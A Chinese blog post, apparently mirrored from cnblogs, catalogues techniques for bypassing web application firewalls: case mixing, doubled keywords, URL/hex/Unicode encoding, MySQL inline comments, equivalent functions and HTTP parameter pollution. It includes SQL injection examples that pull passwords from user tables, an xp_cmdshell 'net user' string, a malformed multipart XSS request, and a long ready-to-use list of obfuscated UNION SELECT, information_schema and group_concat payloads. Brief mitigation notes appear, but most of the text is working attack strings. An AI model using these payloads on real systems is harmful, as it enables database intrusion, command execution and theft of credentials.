zoukankan      html  css  js  c++  java
  • 16. 再说 WAF 绕过

    1,大小写混排

    这可以算最容易想到的方式了。大小写绕过用于只针对小写或大写的关键字匹配技术,正则表达式 /express/i 大小写不敏感即无法绕过,这是最简单的绕过技术。

    举例:

    z.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4

    减少漏报方法:对每个关键字或每种情况都做大小写转换的处理。

    2,替换关键字

    这种情况下大小写转化无法绕过,而且正则表达式会替换或删除 select、union 这些关键字,如果只匹配一次就很容易绕过。

    举例:

    z.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4

    减少漏报方法:这种替换可以构造得更复杂:SeLSeselectleCTecT,设计循环匹配逻辑才可以封堵住。

    3,对一些攻击特征串进行不同的编码

    如 URL 编码,ASCII,Unicode 等,使用一些非标准的编码很容易就可以绕过 WAF。

    1. URL 编码
      在 Chrome 中输入一个连接,非保留字的字符浏览器会对其 URL 编码,如空格变为%20、单引号%27、左括号%28、右括号%29
      普通的URL编码可能无法实现绕过,还存在一种情况URL编码只进行了一次过滤,可以用两次编码绕过:

      page.php?id=1%252f%252a*/UNION%252f%252a /SELECT
    2. 十六进制编码
      举例:

      z.com/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4…
      SELECT (extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))
      
    3. 示例代码中,前者是对单个字符十六进制编码,后者则是对整个字符串编码,使用上来说较少见一点。

    4. Unicode编码
      Unicode有所谓的标准编码和非标准编码,假设我们用的utf-8为标准编码,那么西欧语系所使用的就是非标准编码了。

      看一下常用的几个符号的一些Unicode编码:

      • 单引号: %u0027、%u02b9、%u02bc、 %u02c8、 %u2032、 %uff07、 %c0%27、 %c0%a7、 %e0%80%a7
      • 空格:%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0
      • 左括号:%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8
      • 右括号:%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9

      举例:

      ?id=10%D6‘%20AND%201=2%23 SELECT ‘Ä’=’A’; #1

      两个示例中,前者利用双字节绕过,比如对单引号转义操作变成 ’,那么就变成了 %D6%5C’,%D6%5C 构成了一个双字节即 Unicode 字节,单引号可以正常使用。

      第二个示例使用的是两种不同编码的字符的比较,它们比较的结果可能是 True 或者 False ,关键在于 Unicode 编码种类繁多,基于黑名单的过滤器无法处理所有情况,从而实现绕过。

      另外平时听得多一点的可能是 utf-7 的绕过,还有 utf-16、utf-32 的绕过,后者曾成功的实现对 google 的绕过,有兴趣的朋友可以去了解下。

      减少漏报方法:暂无,有待调研

    4,使用注释

    看一下常见的用于注释的符号有哪些://, — , /**/, #, –+,– -, ;,–a

    1.普通注释

    举例:

    z.com/index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4

    ‘union%a0select pass from users#

    /**/在构造得查询语句中插入注释,规避对空格的依赖或关键字识别; #、–+ 用于终结语句的查询

    2.内联注释相比普通注释,内联注释用的更多,它有一个特性 /!**/ 只有MySQL能识别

                  举例:

    index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3
    ?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4

    两个示例中前者使用内联注释,后者还用到了普通注释。使用注释一个很有用的做法便是对关键字的拆分,要做到这一点后面讨论的特殊符号也能实现,当然前提是包括/、*在内的这些字符能正常使用。

    减少漏报方法:增加 WAF 匹配规则对注视的支持

    5,等价函数与命令

    有些函数或命令因其关键字被检测出来而无法使用,但是在很多情况下可以使用与之等价或类似的代码替代其使用。

    1. 函数或变量

      hex()、bin() ==> ascii()
      sleep() ==>benchmark()
      concat_ws()==>group_concat()
      mid()、substr() ==> substring()
      @@user ==> user()
      @@datadir ==> datadir()

      举例:

      substring()和substr()无法使用时:
      ?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74 或者:substr((select ‘password’),1,1) = 0×70 strcmp(left(‘password’,1), 0×69) = 1 strcmp(left(‘password’,1), 0×70) = 0
      strcmp(left(‘password’,
      1), 0×71) = -1
    1. 上述这几个示例用于说明有时候当某个函数不能使用时,还可以找到其他的函数替代其实现,置于select、uinon、where等关键字被限制如何处理将在后面filter部分讨论。

    2. 符号
      and和or有可能不能使用,或者可以试下&&和||能不能用;还有=不能使用的情况,可以考虑尝试,因为如果不小于又不大于,那边是等于了
      在看一下用得多的空格,可以使用如下符号表示其作用:%20 %09 %0a %0b %0c %0d %a0 /**/

    3. 生僻函数

      MySQL/PostgreSQL支持XML函数:
      Select UpdateXML(‘’,’/script/@x/’,’src=//evil.com’); ?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1)) SELECT xmlelement(name img,xmlattributes(1as src,’alx65rt(1)’as 117nx65rror)); //postgresql ?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

      MySQL、PostgreSQL、Oracle它们都有许多自己的函数,基于黑名单的filter要想涵盖这么多东西从实际上来说不太可能,而且代价太大,看来黑名单技术到一定程度便遇到了限制。

                 减少漏报方法:增加WAF规则集的匹配支持

    6,特殊符号

    这里我把非字母数字的字符都规在了特殊符号一类,特殊符号有特殊的含义和用法,涉及信息量比前面提到的几种都要多。

    先看下乌云drops上“waf的绕过技巧”一文使用的几个例子:

    • 使用反引号`,例如select `version()`,可以用来过空格和正则,特殊情况下还可以将其做注释符用
    • 神奇的”-+.”,select+id-1+1.from users; “+”是用于字符串连接的,”-”和”.”在此也用于连接,可以逃过空格和关键字过滤
    • @符号,select@^1.from users; @用于变量定义如@var_name,一个@表示用户定义,@@表示系统变量
    • Mysql function() as xxx 也可不用as和空格, select-count(id)test from users; //绕过空格限制

    可见,使用这些字符的确是能做很多事,也证实了那句老话,只有想不到,没有做不到。
    本人搜罗了部分可能发挥大作用的字符(未包括’、*、/等在内,考虑到前面已经出现较多次了):`、~、!、@、%、()、[]、.、-、+ 、|、%00

    举例:

    关键字拆分:‘se’+’lec’+’t’
    %S%E%L%E%C%T 1
    1.aspx?id=1;EXEC(‘ma’+’ster..x’+’p_cm’+’dsh’+’ell ”net user”’)
    !和():’ or –+2=- -!!!’2
    id=1+(UnI)(oN)+(SeL)(EcT) //另 Access中,”[]”用于表和列,”()”用于数值也可以做分隔

    本节最后给出一些和这些字符多少有点关系的操作符供参考:

    >>, <<, >=,,,XOR, DIV, SOUNDS LIKE, RLIKE, REGEXP, IS, NOT, BETWEEN

    使用这些”特殊符号”实现绕过是一件很细微的事情,一方面各家数据库对有效符号的处理是不一样的,另一方面你得充分了解这些符号的特性和使用方法才能作为绕过手段。

    减少漏报方法:增加WAF规则集的匹配支持

    7,HTTP参数控制

    这里HTTP参数控制除了对查询语句的参数进行篡改,还包括HTTP方法、HTTP头的控制

    1. HPP(HTTP Parameter Polution)

      举例:
      /?id=1;select+1,2,3+from+users+where+id=1/?id=1;select+1&id=2,3+from+users+where+id=1/?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users

    HPP又称做重复参数污染,最简单的就是?uid=1&uid=2&uid=3,对于这种情况,不同的Web服务器处理方式如下:
    具体WAF如何处理,要看其设置的规则,不过就示例中最后一个来看有较大可能绕过。

    HPF(HTTP Parameter Fragment)
    这种方法是HTTP分割注入,同CRLF有相似之处(使用控制字符%0a、%0d等执行换行)
    举例:

    /?a=1+union/*&b=*/select+1,pass/*&c=*/from+users–
    select * from table where a=1 union/* and b=*/select 1,pass/* limit */from users—

    看罢上面两个示例,发现和HPP最后一个示例很像,不同之处在于参数不一样,这里是在不同的参数之间进行分割,到了数据库执行查询时再合并语句。

    1. HPC(HTTP Parameter Contamination)
      这一概念见于exploit-db上的paper:Beyond SQLi: Obfuscate and Bypass,Contamination同样意为污染。

      RFC2396定义了如下一些字符:

      Unreserved: a-z, A-Z, 0-9 and _ . ! ~ * ‘ ()
      Reserved : ; / ? : @ & = + $ ,
       Unwise : { } |  ^ [ ] `
    2. 不同的Web服务器处理处理构造得特殊请求时有不同的逻辑:
      以魔术字符%为例,Asp/Asp.net会受到影响

                 减少漏报方法:增加WAF规则集的匹配支持

    8,缓冲区溢出(Advanced)

    缓冲区溢出用于对付WAF,有不少WAF是C语言写的,而C语言自身没有缓冲区保护机制,因此如果WAF在处理测试向量时超出了其缓冲区长度,就会引发bug从而实现绕过。

    举例:

     ?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26

    示例0xA*1000指0xA后面”A”重复1000次,一般来说对应用软件构成缓冲区溢出都需要较大的测试长度,这里1000只做参考,在某些情况下可能不需要这么长也能溢出

    此外,有时把使用GET方法的攻击转换成使用POST方法的攻击可能会避开某些过滤。因为许多应用程序只针对某种类型的请求执行过滤,如GET请求,阻止已知的攻击字符串。如果一个应用程序希望收到使用GET方法的请求,使用POST请求就可以完全避开这种过滤。

    再来看一个因没有正确解析HTTP Request数据包导致的WAF绕过,触发一个XSS:

    POST /demo.php HTTP/1.0
    Content-Type: multipart/form-data; boundary=0000
    Content-Length: 970000–
    Content-Disposition: form-data; name=x’;filename=”‘;name=payload;”
    <script>alert(1)</script>0000

    正常的HTTP应该是如下:

    POST /demo.php HTTP/1.0
    Content-Type: multipart/form-data; boundary=0000
    Content-Length: 970000–
    Content-Disposition: form-data; name=”upfile”; filename=”payload”
    <script>alert(1)</script>0000

    对比上面俩个 HTTP 头,给我们提供了 WAF 绕过的思路——修改攻击特征串或 HTTP 中的一细节,让 WAF 无法解析或者解析错误导致绕过。(许多 WAF 对无法解析的 HTTP 头,默认直接 BYPASS,因此要考虑在配置上针对这种情况做严格过滤)

    下面放出以下过狗payload:

    Best Bypass WAF
     
    [~] order by [~]
    /**/ORDER/**/BY/**/
    /*!order*/+/*!by*/
    /*!ORDER BY*/
    /*!50000ORDER BY*/
    /*!50000ORDER*//**//*!50000BY*/
    /*!12345ORDER*/+/*!BY*/
     
    [~] UNION select [~]
    /*!00000Union*/ /*!00000Select*/
    /*!50000%55nIoN*/ /*!50000%53eLeCt*/
    %55nion %53elect
    %55nion(%53elect 1,2,3)-- -
    +union+distinct+select+
    +union+distinctROW+select+
    /**//*!12345UNION SELECT*//**/
    /**//*!50000UNION SELECT*//**/
    /**/UNION/**//*!50000SELECT*//**/
    /*!50000UniON SeLeCt*/
    union /*!50000%53elect*/
    + #?uNiOn + #?sEleCt
    + #?1q %0AuNiOn all#qa%0A#%0AsEleCt
    /*!%55NiOn*/ /*!%53eLEct*/
    /*!u%6eion*/ /*!se%6cect*/
    +un/**/ion+se/**/lect
    uni%0bon+se%0blect
    %2f**%2funion%2f**%2fselect
    union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
    REVERSE(noinu)+REVERSE(tceles)
    /*--*/union/*--*/select/*--*/
    union (/*!/**/ SeleCT */ 1,2,3)
    /*!union*/+/*!select*/
    union+/*!select*/
    /**/union/**/select/**/
    /**/uNIon/**/sEleCt/**/
    +%2F**/+Union/*!select*/
    /**//*!union*//**//*!select*//**/
    /*!uNIOn*/ /*!SelECt*/
    +union+distinct+select+
    +union+distinctROW+select+
    uNiOn aLl sElEcT
    UNIunionON+SELselectECT
    /**/union/*!50000select*//**/
    0%a0union%a0select%09
    %0Aunion%0Aselect%0A
    %55nion/**/%53elect
    uni/*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/
    %252f%252a*/UNION%252f%252a /SELECT%252f%252a*/
    %0A%09UNION%0CSELECT%10NULL%
    /*!union*//*--*//*!all*//*--*//*!select*/
    union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1% 2C2%2C
    /*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/
    +UnIoN/*&a=*/SeLeCT/*&a=*/
    union+sel%0bect
    +uni*on+sel*ect+
    +#1q%0Aunion all#qa%0A#%0Aselect
    union(select (1),(2),(3),(4),(5))
    UNION(SELECT(column)FROM(table))
    %23xyz%0AUnIOn%23xyz%0ASeLecT+
    %23xyz%0A%55nIOn%23xyz%0A%53eLecT+
    union(select(1),2,3)
    union (select 1111,2222,3333)
    uNioN (/*!/**/ SeleCT */ 11)
    union (select 1111,2222,3333)
    +#1q%0AuNiOn all#qa%0A#%0AsEleCt
    /**//*U*//*n*//*I*//*o*//*N*//*S*//*e*//*L*//*e*//*c*//*T*/
    %0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/
    +%23sexsexsex%0AUnIOn%23sexsexs ex%0ASeLecT+
    +union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1% 2C2%2C
    /*!f****U%0d%0aunion*/+/*!f****U%0d%0aSelEct*/
    +%23blobblobblob%0aUnIOn%23blobblobblob%0aSeLe cT+
    /*!blobblobblob%0d%0aunion*/+/*!blobblobblob%0d%0aSelEct*/
    /unionsselect/g
    /unions+select/i
    /*!UnIoN*/SeLeCT
    +UnIoN/*&a=*/SeLeCT/*&a=*/
    +uni>on+sel>ect+
    +(UnIoN)+(SelECT)+
    +(UnI)(oN)+(SeL)(EcT)
    +’UnI”On’+'SeL”ECT’
    +uni on+sel ect+
    +/*!UnIoN*/+/*!SeLeCt*/+
    /*!u%6eion*/ /*!se%6cect*/
    uni%20union%20/*!select*/%20
    union%23aa%0Aselect
    /**/union/*!50000select*/
    /^.*union.*$/ /^.*select.*$/
    /*union*/union/*select*/select+
    /*uni X on*/union/*sel X ect*/
    +un/**/ion+sel/**/ect+
    +UnIOn%0d%0aSeleCt%0d%0a
    UNION/*&test=1*/SELECT/*&pwn=2*/
    un?+un/**/ion+se/**/lect+
    +UNunionION+SEselectLECT+
    +uni%0bon+se%0blect+
    %252f%252a*/union%252f%252a /select%252f%252a*/
    /%2A%2A/union/%2A%2A/select/%2A%2A/
    %2f**%2funion%2f**%2fselect%2f**%2f
    union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
    /*!UnIoN*/SeLecT+
     
    [~] More Union Select [~]
     
    [+] Union Select:
     
    union /*!select*/+
    union/**/select/**/
    /**/union/**/select/**/
    /**/union/*!50000select*/
    /**//*!12345UNION SELECT*//**/
    /**//*!50000UNION SELECT*//**/
    /**/uniUNIONon/**/selSELECTect/**/
    /**/uniUNIONon/**/aALLll/**/selSELECTect/**/
    /**//*!union*//**//*!select*//**/
    /**/UNunionION/**/SELselectECT/**/
    /**//*UnIOn*//**//*SEleCt*//**/
    /**//*U*//*n*//*I*//*O*//*n*//**//*S*//*E*//*l*//*e*//*C*//*t*//**/
    /**/UNunionION/**/all/**/SELselectECT/**/
    /**//*UnIOn*//**/all/**//*SEleCt*//**/
    /**//*U*//*n*//*I*//*O*//*n*//**//*all*//**//*S*//*E*//*l*//*e*//*C*//*t*//**/
    uni
    %20union%20/*!select*/%20
    union%23aa%0Aselect
    union+distinct+select+
    union+distinctROW+select+
    /*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/
    %252f%252a*/UNION%252f%252a /SELECT%252f%252a*/
    %23sexsexsex%0AUnIOn%23sexsexsex%0ASeLecT+
    /*!50000UnIoN*/ /*!50000SeLeCt aLl*/+
    /*!u%6eion*/+/*!se%6cect*/+
    1%’)and(0)union(select(1),version(),3,4,5,6)%23%23%23
    /*!50000%55nIoN*/+/*!50000%53eLeCt*/
    union /*!50000%53elect*/
    +%2F**/+Union/*!select*/
    %55nion %53elect
    +–+Union+–+Select+–+
    +UnIoN/*&a=*/SeLeCT/*&a=*/
    uNiOn aLl sElEcT
    uUNIONnion all sSELECTelect
    union(select(1),2,3)
    union (select 1111,2222,3333)
    union (/*!/**/ SeleCT */ 11)
    %0A%09UNION%0CSELECT%10NULL%
    /*!union*//*–*//*!all*//*–*//*!select*/
    union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1% 2C2%2C
    union+sel%0bect
    +uni*on+sel*ect+
    +#1q%0Aunion all#qa%0A#%0Aselect 1,2,3,4,5,6,7,8,9,10%0A#a
    union(select (1),(2),(3),(4),(5))
    UNION(SELECT(column)FROM(table))
    id=1+’UnI”On’+’SeL”ECT’
    id=1+’UnI’||’on’+SeLeCT’
    union select 1–+%0A,2–+%0A,3–+%0A etc
     
    [~] information_schema.tables [~]
    /*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/=schEMA()-- -
    /*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/ like schEMA()-- -
    /*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/=database()-- -
    /*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/ like database()-- -
    /*!FrOm*/+%69nformation_schema./**/columns+/*!50000Where*/+/*!%54able_name*/=hex table
    /*!FrOm*/+information_schema./**/columns+/*!12345Where*/+/*!%54able_name*/ like hex table
     
    [~] concat() [~]
    CoNcAt()
    concat()
    CON%08CAT()
    CoNcAt()
    %0AcOnCat()
    /**//*!12345cOnCat*/
    /*!50000cOnCat*/(/*!*/)
    unhex(hex(concat(table_name)))
    unhex(hex(/*!12345concat*/(table_name)))
    unhex(hex(/*!50000concat*/(table_name)))
     
    [~] group_concat() [~]
    /*!group_concat*/()
    gRoUp_cOnCAt()
    group_concat(/*!*/)
    group_concat(/*!12345table_name*/)
    group_concat(/*!50000table_name*/)
    /*!group_concat*/(/*!12345table_name*/)
    /*!group_concat*/(/*!50000table_name*/)
    /*!12345group_concat*/(/*!12345table_name*/)
    /*!50000group_concat*/(/*!50000table_name*/)
    /*!GrOuP_ConCaT*/()
    /*!12345GroUP_ConCat*/()
    /*!50000gRouP_cOnCaT*/()
    /*!50000Gr%6fuP_c%6fnCAT*/()
    unhex(hex(group_concat(table_name)))
    unhex(hex(/*!group_concat*/(/*!table_name*/)))
    unhex(hex(/*!12345group_concat*/(table_name)))
    unhex(hex(/*!12345group_concat*/(/*!table_name*/)))
    unhex(hex(/*!12345group_concat*/(/*!12345table_name*/)))
    unhex(hex(/*!50000group_concat*/(table_name)))
    unhex(hex(/*!50000group_concat*/(/*!table_name*/)))
    unhex(hex(/*!50000group_concat*/(/*!50000table_name*/)))
    convert(group_concat(table_name)+using+ascii)
    convert(group_concat(/*!table_name*/)+using+ascii)
    convert(group_concat(/*!12345table_name*/)+using+ascii)
    convert(group_concat(/*!50000table_name*/)+using+ascii)
    CONVERT(group_concat(table_name)+USING+latin1)
    CONVERT(group_concat(table_name)+USING+latin2)
    CONVERT(group_concat(table_name)+USING+latin3)
    CONVERT(group_concat(table_name)+USING+latin4)

    CONVERT(group_concat(table_name)+USING+latin5)

  • 相关阅读:
    dropdownlist下拉框加--请选择---
    vs2012中自带IIS如何让其他电脑访问
    win7 web开发遇到的问题-由于权限不足而无法读取配置文件,无法访问请求的页面
    无法打开登录所请求的数据库 "xxxx"。登录失败。 用户 'NT AUTHORITYSYSTEM' 登录失败。
    如何实现删除确认
    如何获取GridView的总记录数?
    SQL两张表如何关联
    ES7学习笔记——Array.prototype.includes和求幂运算符**
    一些常用的JavaScript正则表达式
    Vue.js 2.x中事件总线(EvevntBus)及element-ui中全屏loading的使用
  • 原文地址:https://www.cnblogs.com/bmjoker/p/9092531.html
Copyright © 2011-2022 走看看